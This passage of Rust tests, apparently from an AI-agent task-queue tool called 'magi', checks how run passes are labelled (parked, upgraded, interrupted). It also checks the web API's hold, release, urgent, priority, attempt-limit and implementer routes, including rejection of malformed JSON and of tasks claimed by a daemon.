14896 fn a_parked_non_terminal_run_is_explained_as_parked() {
14897 let mut s = RunState::new(
14898 PathBuf::from("/repo/magi"),
14899 "main".to_owned(),
14900 "0123456789abcdef".to_owned(),
14901 "Do it".to_owned(),
14902 Config::default(),
14903 );
14904 s.status = RunStatus::Implementing;
14905 s.parked = true;
14906 let task = Task::new(
14907 "t".to_owned(),
14908 "Do it".to_owned(),
14909 PathBuf::from("/repo/magi"),
14910 Source::Human,
14911 );
14912 let v = task_run_view(
14913 "20260902-140501-aaaa",
14914 Some(&s),
14915 RunSlot {
14916 n: 1,
14917 resumed: false,
14918 resumed_later: None,
14919 prior: None,
14920 last: true,
14921 ..RunSlot::default()
14922 },
14923 &task,
14924 );
14925 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14926 }
14927
14928 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14929 let mut s = flow_run(RunStatus::Implementing, edit);
14930 s.parked = false;
14931 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14932 task_run_view(
14933 "20260902-140501-aaaa",
14934 Some(&s),
14935 RunSlot {
14936 n: 1,
14937 resumed: false,
14938 resumed_later: Some(2),
14939 prior: None,
14940 last: false,
14941 ..RunSlot::default()
14942 },
14943 &task,
14944 )
14945 }
14946
14947 #[test]
14948 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14949 let v = earlier_pass_view(|_| {});
14950 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14951 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14952 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14953 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14954 assert_eq!(v.exit, RunExit::Interrupted);
14955 assert_eq!(v.attempt, AttemptCost::Unknown);
14956 }
14957
14958 #[test]
14959 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14960 let v = earlier_pass_view(|s| {
14961 s.quota.push(crate::run::QuotaLoss {
14962 seat: "judge-1".to_owned(),
14963 node: "judge".to_owned(),
14964 at: Timestamp::now(),
14965 reset: None,
14966 });
14967 });
14968 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14969 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14970 assert_eq!(v.attempt, AttemptCost::Unknown);
14971 }
14972
14973 #[test]
14974 fn the_current_pass_states_its_recorded_cause_and_cost() {
14975 let slot = || RunSlot {
14976 n: 1,
14977 resumed: false,
14978 resumed_later: None,
14979 prior: None,
14980 last: true,
14981 ..RunSlot::default()
14982 };
14983 let task = flow_task(&["20260902-140501-aaaa"]);
14984 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14985 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14986 assert_eq!(
14987 (v.exit, v.attempt),
14988 (RunExit::Parked, AttemptCost::Refunded)
14989 );
14990 let spent = flow_run(RunStatus::Blocked, |_| {});
14991 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14992 assert_eq!(v.attempt, AttemptCost::Spent);
14993 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14994 }
14995
14996 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14997 crate::run::RunPass {
14998 index,
14999 started_at: Timestamp::now(),
15000 resumed: index > 0,
15001 ended_at: end.as_ref().map(|_| Timestamp::now()),
15002 end,
15003 task_entry: true,
15004 }
15005 }
15006
15007 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15008 Some(crate::run::PassEnd::Parked { cause })
15009 }
15010
15011 fn upgrade_cause() -> crate::run::ParkCause {
15012 crate::run::ParkCause::Upgrade {
15013 from: "0.121.0".to_owned(),
15014 to: Some("0.121.1".to_owned()),
15015 }
15016 }
15017
15018 fn settled_pass(
15019 run: &str,
15020 index: usize,
15021 cost: crate::queue::PassCost,
15022 ) -> crate::queue::TaskPass {
15023 crate::queue::TaskPass {
15024 run: run.to_owned(),
15025 pass_index: index,
15026 cost,
15027 attempts_after: 1,
15028 settled_at: Timestamp::now(),
15029 parked: None,
15030 }
15031 }
15032
15033 const RUN_X: &str = "20261011-223708-4334";
15034
15035 #[test]
15036 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15037 use crate::queue::PassCost;
15038 let run = flow_run(RunStatus::Implementing, |s| {
15039 s.passes = vec![
15040 recorded_pass(0, parked(upgrade_cause())),
15041 recorded_pass(1, None),
15042 ];
15043 });
15044 let mut task = flow_task(&[RUN_X, RUN_X]);
15045 task.attempts = 1;
15046 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15047 let h = task_history(&task, |_| Some(run.clone()));
15048 assert_eq!(h.len(), 2);
15049 assert_eq!(h[0].kind, "competition");
15050 assert_eq!(h[1].kind, "resume");
15051 assert_eq!(
15052 (h[0].exit, h[0].attempt),
15053 (RunExit::Parked, AttemptCost::Refunded)
15054 );
15055 assert!(
15056 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15057 "{}",
15058 h[0].outcome
15059 );
15060 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15061 assert!(
15062 h[0].outcome.contains("pass #2 resumed the same run"),
15063 "{}",
15064 h[0].outcome
15065 );
15066 assert!(
15067 h[0].outcome.contains("pass 1 of 2 over run"),
15068 "{}",
15069 h[0].outcome
15070 );
15071 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15072 assert_eq!(
15073 h[0].exit_label,
15074 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15075 );
15076 let f = task_flow(&task, &h, 2, None);
15077 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15079 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15080 assert!(
15081 f.edges[1].label.contains("upgrade 0.121.0"),
15082 "{}",
15083 f.edges[1].label
15084 );
15085 assert!(
15086 f.edges[1].label.contains("resume the same run"),
15087 "{}",
15088 f.edges[1].label
15089 );
15090 assert_eq!(f.nodes[1].note, Some("parked"));
15091 }
15092
15093 #[test]
15094 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15095 let mut a = flow_run(RunStatus::Implementing, |s| {
15096 s.passes = vec![
15097 recorded_pass(0, parked(upgrade_cause())),
15098 recorded_pass(1, None),
15099 ];
15100 });
15101 let mut b = flow_run(RunStatus::Failed, |s| {
15102 s.passes = vec![recorded_pass(0, None)];
15103 });
15104 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15105 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15106 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15107 let mut task = flow_task(&[]);
15108 task.start("a".into());
15109 task.start("b".into());
15110 task.start("a".into());
15111 assert_eq!(task.runs, ["b", "a"]);
15112 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15113 let h = task_history(&task, |id| {
15114 Some(if id == "a" { a.clone() } else { b.clone() })
15115 });
15116 assert_eq!(
15117 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15118 ["a", "b", "a"]
15119 );
15120 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15121 assert!(h[0].outcome.contains("upgrade"));
15122 assert_eq!(h[2].kind, "resume");
15123 assert!(h[2].pass.is_some());
15124 task.runs = vec!["a".into(), "b".into(), "a".into()];
15126 let old = task_history(&task, |id| {
15127 Some(if id == "a" { a.clone() } else { b.clone() })
15128 });
15129 assert_eq!(
15130 old.iter()
15131 .map(|v| (&v.id, &v.kind, v.attempt))
15132 .collect::<Vec<_>>(),
15133 h.iter()
15134 .map(|v| (&v.id, &v.kind, v.attempt))
15135 .collect::<Vec<_>>()
15136 );
15137 }
15138
15139 #[test]
15140 fn an_upgrade_whose_target_was_not_known_says_so() {
15141 let run = flow_run(RunStatus::Implementing, |s| {
15142 s.passes = vec![
15143 recorded_pass(
15144 0,
15145 parked(crate::run::ParkCause::Upgrade {
15146 from: "0.121.0".to_owned(),
15147 to: None,
15148 }),
15149 ),
15150 recorded_pass(1, None),
15151 ];
15152 });
15153 let task = flow_task(&[RUN_X, RUN_X]);
15154 let h = task_history(&task, |_| Some(run.clone()));
15155 assert!(
15156 h[0].outcome.contains("upgrade from 0.121.0"),
15157 "{}",
15158 h[0].outcome
15159 );
15160 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15162 }
15163
15164 #[test]
15165 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15166 use crate::queue::PassCost;
15167 use crate::run::ParkCause;
15168 let run = flow_run(RunStatus::Implementing, |s| {
15169 s.passes = vec![
15170 recorded_pass(0, parked(upgrade_cause())),
15171 recorded_pass(
15172 1,
15173 parked(ParkCause::Interrupt {
15174 reason: "task a1b2 asked to run first".to_owned(),
15175 }),
15176 ),
15177 recorded_pass(2, parked(ParkCause::Operator)),
15178 recorded_pass(3, None),
15179 ];
15180 });
15181 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15182 task.attempts = 1;
15183 task.passes = (0..3)
15184 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15185 .collect();
15186 let h = task_history(&task, |_| Some(run.clone()));
15187 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15188 assert!(
15189 h[1].outcome.contains("task a1b2 asked to run first"),
15190 "{}",
15191 h[1].outcome
15192 );
15193 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15194 assert!(
15195 h[2].outcome.contains("operator asked the loop to park"),
15196 "{}",
15197 h[2].outcome
15198 );
15199 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15200 let f = task_flow(&task, &h, 2, None);
15201 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15202 }
15203
15204 #[test]
15205 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
15206 let run = flow_run(RunStatus::Implementing, |s| {
15207 s.passes = vec![
15208 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
15209 recorded_pass(1, None),
15210 ];
15211 });
15212 let task = flow_task(&[RUN_X, RUN_X]);
15213 let h = task_history(&task, |_| Some(run.clone()));
15214 assert_eq!(h[0].exit, RunExit::Interrupted);
15215 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15216 assert!(
15217 h[0].outcome.contains("without recording why"),
15218 "{}",
15219 h[0].outcome
15220 );
15221 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15222 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
15223 }
15224
15225 #[test]
15226 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
15227 use crate::queue::PassCost;
15228 let run = flow_run(RunStatus::Implementing, |s| {
15231 s.passes = vec![
15232 recorded_pass(0, parked(upgrade_cause())),
15233 recorded_pass(1, None),
15234 ];
15235 });
15236 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
15237 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15238 let h = task_history(&task, |_| Some(run.clone()));
15239 assert!(h[0].pass.is_none());
15240 assert_eq!(h[0].exit, RunExit::Interrupted);
15241 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15242 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15243 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15244 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
15245 let legacy = flow_run(RunStatus::Implementing, |_| {});
15247 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
15248 assert!(h.iter().all(|v| v.pass.is_none()));
15249 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15250 }
15251
15252 #[test]
15253 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
15254 use crate::queue::PassCost;
15255 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
15258 web.task_entry = false;
15259 let run = flow_run(RunStatus::Implementing, |s| {
15260 s.passes = vec![
15261 recorded_pass(0, parked(upgrade_cause())),
15262 web.clone(),
15263 recorded_pass(2, None),
15264 ];
15265 });
15266 let mut task = flow_task(&[RUN_X, RUN_X]);
15267 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15268 let h = task_history(&task, |_| Some(run.clone()));
15269 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15270 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
15271
15272 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
15275 web0.task_entry = false;
15276 let run = flow_run(RunStatus::Implementing, |s| {
15277 s.passes = vec![web0.clone(), recorded_pass(1, None)];
15278 });
15279 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
15280 assert!(h[0].pass.is_none());
15281 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15282 assert!(h[1].pass.is_some());
15283 }
15284
15285 #[tokio::test]
15286 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
15287 let dir = tempfile::tempdir().unwrap();
15288 let queue = Queue::at(dir.path().join("queue"));
15289 let ui = Arc::new(Ui::new(
15290 queue.clone(),
15291 Questions::at(dir.path().join("questions")),
15292 Talks::at(dir.path().join("talks")),
15293 dir.path().join("runs"),
15294 dir.path().to_path_buf(),
15295 dir.path().to_path_buf(),
15296 ));
15297 let mut t = Task::new(
15298 "recover".into(),
15299 "Inspect".into(),
15300 PathBuf::from("."),
15301 Source::Human,
15302 );
15303 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
15304 t.start("run-A".into());
15305 t.release_operator("choice", Some("resume-question"));
15306 t.resume_override = Some(crate::queue::OperatorResume {
15307 question_id: "resume-question".into(),
15308 at: jiff::Timestamp::now(),
15309 conductor_rehold: None,
15310 forced: true,
15311 pinned_run: Some("run-A".into()),
15312 });
15313 t.hold_machine(Some("inspection pending".into()));
15314 t.edit("recover".into(), "Reuse approved PR head".into())
15315 .unwrap();
15316 queue.put(&mut t).unwrap();
15317 let mut cli = t.clone();
15318 cli.release_operator("cli", None);
15319 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
15320 let reloaded = queue.get(&t.id).unwrap();
15321 assert_eq!(reply.task.status, TaskStatus::Queued);
15322 assert!(reloaded.resume_override.is_none());
15323 assert_eq!(reloaded.answers, t.answers);
15324 let mut web = reloaded.resumption.unwrap();
15325 let cli = cli.resumption.unwrap();
15326 assert_eq!(web.source, "web");
15327 web.source = cli.source.clone();
15328 web.at = cli.at;
15329 assert_eq!(web, cli);
15330 }
15331
15332 #[tokio::test]
15333 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
15334 let f = Fixture::start().await;
15335 let queue = f.queue();
15336 let mut task = Task::new(
15337 "spent".to_owned(),
15338 "Try again".to_owned(),
15339 PathBuf::from("/repo/magi"),
15340 Source::Human,
15341 );
15342 task.start("20260902-140502-bbbb".to_owned());
15343 task.fail("agent gave up", 9);
15344 queue.put(&mut task).expect("file the task");
15345
15346 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15347 assert_eq!(held.status, 200);
15348 assert_eq!(held.json()["status_str"], "held");
15349
15350 let released = f
15351 .post(&format!("/api/queue/{}/release", task.id), None)
15352 .await;
15353 assert_eq!(released.status, 200);
15354 assert_eq!(released.json()["status_str"], "queued");
15355 assert_eq!(released.json()["resumption"]["source"], "web");
15356 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
15357 let mut cli = task.clone();
15358 cli.release_operator("cli", None);
15359 let web = queue.get(&task.id).unwrap().resumption.unwrap();
15360 let cli = cli.resumption.unwrap();
15361 assert_eq!(web.instruction, cli.instruction);
15362 assert_eq!(web.answers_through, cli.answers_through);
15363 assert_eq!(web.runs_through, cli.runs_through);
15364 assert_eq!(web.cleared_reason, cli.cleared_reason);
15365 assert_eq!(
15366 released.json()["attempts"],
15367 0,
15368 "release is a real second chance, not an instant re-hold"
15369 );
15370 assert_eq!(
15371 queue.get(&task.id).expect("reload").status,
15372 TaskStatus::Queued,
15373 "the change is on disk, not only in the reply"
15374 );
15375 assert!(
15376 !f.home
15377 .path()
15378 .join("queue")
15379 .join(format!("{}.lock", task.id))
15380 .exists(),
15381 "the claim the mutation took is released again"
15382 );
15383 }
15384
15385 #[tokio::test]
15386 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
15387 let f = Fixture::start().await;
15388 let queue = f.queue();
15389 let mut task = Task::new(
15390 "busy".to_owned(),
15391 "Running right now".to_owned(),
15392 PathBuf::from("/repo/magi"),
15393 Source::Human,
15394 );
15395 queue.put(&mut task).expect("file the task");
15396 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15397
15398 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15399
15400 assert_eq!(res.status, 409);
15401 assert_eq!(
15402 queue.get(&task.id).expect("reload").status,
15403 TaskStatus::Queued,
15404 "the refused hold changed nothing"
15405 );
15406 }
15407
15408 #[tokio::test]
15409 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
15410 let f = Fixture::start().await;
15411 let queue = f.queue();
15412 let mut task = Task::new(
15413 "waiting on the migration".to_owned(),
15414 "Do the thing".to_owned(),
15415 PathBuf::from("/repo/magi"),
15416 Source::Human,
15417 );
15418 queue.put(&mut task).expect("file the task");
15419
15420 let held = f
15421 .post(
15422 &format!("/api/queue/{}/hold", task.id),
15423 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
15424 )
15425 .await;
15426 assert_eq!(held.status, 200, "{}", held.body);
15427 assert_eq!(held.json()["status_str"], "held");
15428 assert_eq!(
15429 held.json()["hold_reason"],
15430 "waiting for 20260101-000000-aaaa to land"
15431 );
15432
15433 let listed = f.get("/api/queue").await.json();
15434 assert_eq!(
15435 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
15436 "the card reads the reason off the same list route"
15437 );
15438
15439 let mut plain = Task::new(
15442 "no reason given".to_owned(),
15443 "Do another thing".to_owned(),
15444 PathBuf::from("/repo/magi"),
15445 Source::Human,
15446 );
15447 queue.put(&mut plain).expect("file the task");
15448 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
15449 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
15450 assert!(held_plain.json()["hold_reason"].is_null());
15451
15452 let released = f
15453 .post(&format!("/api/queue/{}/release", task.id), None)
15454 .await;
15455 assert_eq!(released.status, 200);
15456 assert!(
15457 released.json()["hold_reason"].is_null(),
15458 "a release must clear the reason so the next hold does not inherit it"
15459 );
15460 }
15461
15462 #[test]
15463 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
15464 for urgent in [true, false] {
15465 let body: UrgentBody =
15466 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
15467 assert_eq!(body.urgent, urgent);
15468 }
15469 for input in [
15470 r#"{}"#,
15471 r#"{"urgent":null}"#,
15472 r#"{"urgent":"true"}"#,
15473 r#"{"urgent":1}"#,
15474 r#"{"urgent":true,"extra":false}"#,
15475 ] {
15476 assert!(
15477 serde_json::from_str::<UrgentBody>(input).is_err(),
15478 "{input}"
15479 );
15480 }
15481 }
15482
15483 #[tokio::test]
15484 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
15485 let home = TempDir::new().unwrap();
15486 let q = Queue::at(home.path().join("queue"));
15487 let ui = Arc::new(Ui::new(
15488 q.clone(),
15489 Questions::at(home.path().join("questions")),
15490 Talks::at(home.path().join("talks")),
15491 home.path().join("runs"),
15492 home.path().into(),
15493 home.path().into(),
15494 ));
15495 let mut task = Task::new(
15496 "urgent handler".into(),
15497 "keep".into(),
15498 home.path().into(),
15499 Source::Human,
15500 );
15501 for status in [TaskStatus::Queued, TaskStatus::Held] {
15502 task.status = status;
15503 q.put(&mut task).unwrap();
15504 for urgent in [true, true, false, false] {
15505 let saved = queue_urgent(
15506 State(Arc::clone(&ui)),
15507 Path(task.short().into()),
15508 Ok(Json(UrgentBody { urgent })),
15509 )
15510 .await
15511 .unwrap();
15512 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
15513 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
15514 }
15515 }
15516 task.status = TaskStatus::Queued;
15517 q.put(&mut task).unwrap();
15518 let claim = q.claim(&task.id).unwrap();
15519 let error = queue_urgent(
15520 State(Arc::clone(&ui)),
15521 Path(task.id.clone()),
15522 Ok(Json(UrgentBody { urgent: true })),
15523 )
15524 .await
15525 .unwrap_err();
15526 assert_eq!(error.status, StatusCode::CONFLICT);
15527 assert!(error.message.contains("released"));
15528 drop(claim);
15529 for status in [
15530 TaskStatus::Running,
15531 TaskStatus::Done,
15532 TaskStatus::Failed,
15533 TaskStatus::Blocked,
15534 TaskStatus::Parked,
15535 ] {
15536 task.status = status;
15537 q.put(&mut task).unwrap();
15538 let error = queue_urgent(
15539 State(Arc::clone(&ui)),
15540 Path(task.id.clone()),
15541 Ok(Json(UrgentBody { urgent: false })),
15542 )
15543 .await
15544 .unwrap_err();
15545 assert_eq!(error.status, StatusCode::BAD_REQUEST);
15546 assert!(error.message.contains(status.as_str()));
15547 }
15548 }
15549
15550 #[tokio::test]
15551 async fn urgent_api_updates_preserves_and_validates_tasks() {
15552 let f = Fixture::start().await;
15553 let q = f.queue();
15554 let mut t = Task::new(
15555 "urgent API".into(),
15556 "unchanged".into(),
15557 PathBuf::from("/repo/magi"),
15558 Source::Human,
15559 );
15560 t.attempts = 2;
15561 t.priority = 9;
15562 t.interrupt = true;
15563 t.hold_reason = Some("waiting for approval".into());
15564 for status in [TaskStatus::Queued, TaskStatus::Held] {
15565 t.status = status;
15566 q.put(&mut t).unwrap();
15567 for urgent in [true, true, false, false] {
15568 let response = f
15569 .post(
15570 &format!("/api/queue/{}/urgent", t.short()),
15571 Some(&format!("{{\"urgent\":{urgent}}}")),
15572 )
15573 .await;
15574 assert_eq!(response.status, 200, "{}", response.body);
15575 assert_eq!(response.json()["urgent"], urgent);
15576 let saved = q.get(&t.id).unwrap();
15577 let mut before = serde_json::to_value(&t).unwrap();
15578 let mut after = serde_json::to_value(saved).unwrap();
15579 before["urgent"] = urgent.into();
15580 before.as_object_mut().unwrap().remove("updated_at");
15581 after.as_object_mut().unwrap().remove("updated_at");
15582 assert_eq!(after, before);
15583 }
15584 }
15585 let route = format!("/api/queue/{}/urgent", t.id);
15586 for body in [
15587 r#"{}"#,
15588 r#"{"urgent":null}"#,
15589 r#"{"urgent":"true"}"#,
15590 r#"{"urgent":1}"#,
15591 r#"{"urgent":true,"extra":false}"#,
15592 "{",
15593 ] {
15594 assert_eq!(f.post(&route, Some(body)).await.status, 400);
15595 }
15596 t.status = TaskStatus::Queued;
15597 q.put(&mut t).unwrap();
15598 let claim = q.claim(&t.id).unwrap();
15599 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15600 assert_eq!(response.status, 409, "{}", response.body);
15601 assert!(!q.get(&t.id).unwrap().urgent);
15602 drop(claim);
15603 for status in [
15604 TaskStatus::Running,
15605 TaskStatus::Done,
15606 TaskStatus::Failed,
15607 TaskStatus::Blocked,
15608 TaskStatus::Parked,
15609 ] {
15610 t.status = status;
15611 q.put(&mut t).unwrap();
15612 for urgent in [true, false] {
15613 let response = f
15614 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15615 .await;
15616 assert_eq!(response.status, 400, "{}", response.body);
15617 assert!(response.body.contains(status.as_str()));
15618 assert!(response.body.contains("queued or held"));
15619 assert!(!q.get(&t.id).unwrap().urgent);
15620 }
15621 }
15622 assert_eq!(
15623 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15624 .await
15625 .status,
15626 404
15627 );
15628 }
15629
15630 #[tokio::test]
15631 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15632 let f = Fixture::start().await;
15633 let queue = f.queue();
15634 let mut older = Task::new(
15635 "filed first".to_owned(),
15636 "x".to_owned(),
15637 PathBuf::from("/repo/magi"),
15638 Source::Human,
15639 );
15640 older.id = "20260101-000001-aaaa".to_owned();
15641 let mut newer = Task::new(
15642 "filed second".to_owned(),
15643 "x".to_owned(),
15644 PathBuf::from("/repo/magi"),
15645 Source::Human,
15646 );
15647 newer.id = "20260101-000002-bbbb".to_owned();
15648 queue.put(&mut older).expect("file older");
15649 queue.put(&mut newer).expect("file newer");
15650
15651 let before = f.get("/api/queue").await.json();
15654 assert_eq!(before[0]["id"], newer.id);
15655 assert_eq!(before[1]["id"], older.id);
15656
15657 let raised = f
15661 .post(
15662 &format!("/api/queue/{}/priority", older.id),
15663 Some(r#"{"priority":10}"#),
15664 )
15665 .await;
15666 assert_eq!(raised.status, 200, "{}", raised.body);
15667 assert_eq!(raised.json()["priority"], 10);
15668
15669 let after = f.get("/api/queue").await.json();
15670 let names: Vec<&str> = after
15671 .as_array()
15672 .unwrap()
15673 .iter()
15674 .map(|t| t["id"].as_str().unwrap())
15675 .collect();
15676 assert_eq!(names[0], older.id, "the raised task now sorts first");
15680 }
15681
15682 #[tokio::test]
15683 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15684 let dir = TempDir::new().unwrap();
15685 let q = Queue::at(dir.path().join("queue"));
15686 let ui = Arc::new(Ui::new(
15687 q.clone(),
15688 Questions::at(dir.path().join("questions")),
15689 Talks::at(dir.path().join("talks")),
15690 dir.path().join("runs"),
15691 dir.path().to_path_buf(),
15692 dir.path().to_path_buf(),
15693 ));
15694 let mut t = Task::new(
15695 "budget".into(),
15696 "keep".into(),
15697 dir.path().into(),
15698 Source::Human,
15699 );
15700 t.attempts = 2;
15701 t.runs.push("prior-run".into());
15702 t.hold_manual(Some("waiting".into()));
15703 q.put(&mut t).unwrap();
15704 let change = |value| {
15705 queue_attempt_limit(
15706 State(ui.clone()),
15707 Path(t.id.clone()),
15708 Ok(Json(AttemptLimitBody {
15709 attempt_limit: value,
15710 })),
15711 )
15712 };
15713 for value in [
15714 serde_json::json!(3),
15715 serde_json::Value::Null,
15716 serde_json::json!(1),
15717 ] {
15718 let response = change(value.clone()).await.unwrap();
15719 assert_eq!(
15720 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15721 value
15722 );
15723 let saved = q.get(&t.id).unwrap();
15724 assert_eq!(
15725 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15726 value
15727 );
15728 assert_eq!(saved.status, TaskStatus::Held);
15729 assert_eq!(saved.attempts, t.attempts);
15730 assert_eq!(saved.runs, t.runs);
15731 assert_eq!(saved.hold_reason, t.hold_reason);
15732 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15733 .await
15734 .unwrap()
15735 .0;
15736 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15737 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15738 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15739 assert_eq!(outcome.max_attempts, detail.max_attempts);
15740 }
15741 for value in [
15742 serde_json::json!(0),
15743 serde_json::json!(-1),
15744 serde_json::json!(1.5),
15745 serde_json::json!("3"),
15746 serde_json::json!(true),
15747 ] {
15748 assert_eq!(
15749 change(value).await.err().unwrap().status,
15750 StatusCode::BAD_REQUEST
15751 );
15752 }
15753 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15754 let claim = q.claim(&t.id).unwrap();
15755 assert_eq!(
15756 change(serde_json::json!(4)).await.err().unwrap().status,
15757 StatusCode::CONFLICT
15758 );
15759 drop(claim);
15760 for status in [
15761 TaskStatus::Running,
15762 TaskStatus::Done,
15763 TaskStatus::Failed,
15764 TaskStatus::Blocked,
15765 TaskStatus::Parked,
15766 ] {
15767 let mut stored = q.get(&t.id).unwrap();
15768 stored.status = status;
15769 q.put(&mut stored).unwrap();
15770 assert_eq!(
15771 change(serde_json::json!(4)).await.err().unwrap().status,
15772 StatusCode::BAD_REQUEST
15773 );
15774 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15775 }
15776 let mut stored = q.get(&t.id).unwrap();
15777 stored.status = TaskStatus::Queued;
15778 q.put(&mut stored).unwrap();
15779 let _ = change(serde_json::Value::Null).await.unwrap();
15780 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15781 }
15782
15783 #[tokio::test]
15784 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15785 let dir = TempDir::new().unwrap();
15786 let repo = dir.path().join("repo");
15787 std::fs::create_dir(&repo).unwrap();
15788 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15789 let q = Queue::at(dir.path().join("queue"));
15790 let ui = Arc::new(Ui::new(
15791 q.clone(),
15792 Questions::at(dir.path().join("questions")),
15793 Talks::at(dir.path().join("talks")),
15794 dir.path().join("runs"),
15795 dir.path().to_path_buf(),
15796 repo.clone(),
15797 ));
15798 let mut t = Task::new(
15799 "seats".into(),
15800 "keep instruction".into(),
15801 repo,
15802 Source::Human,
15803 );
15804 t.runs.push("prior-run".into());
15805 t.hold_manual(Some("waiting".into()));
15806 q.put(&mut t).unwrap();
15807 let change = |count| {
15808 queue_implementers(
15809 State(ui.clone()),
15810 Path(t.id.clone()),
15811 Ok(Json(ImplementersBody {
15812 implementers: count,
15813 })),
15814 )
15815 };
15816 for count in [2, 1, 2] {
15817 let response = change(count).await.unwrap();
15818 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15819 let saved = q.get(&t.id).unwrap();
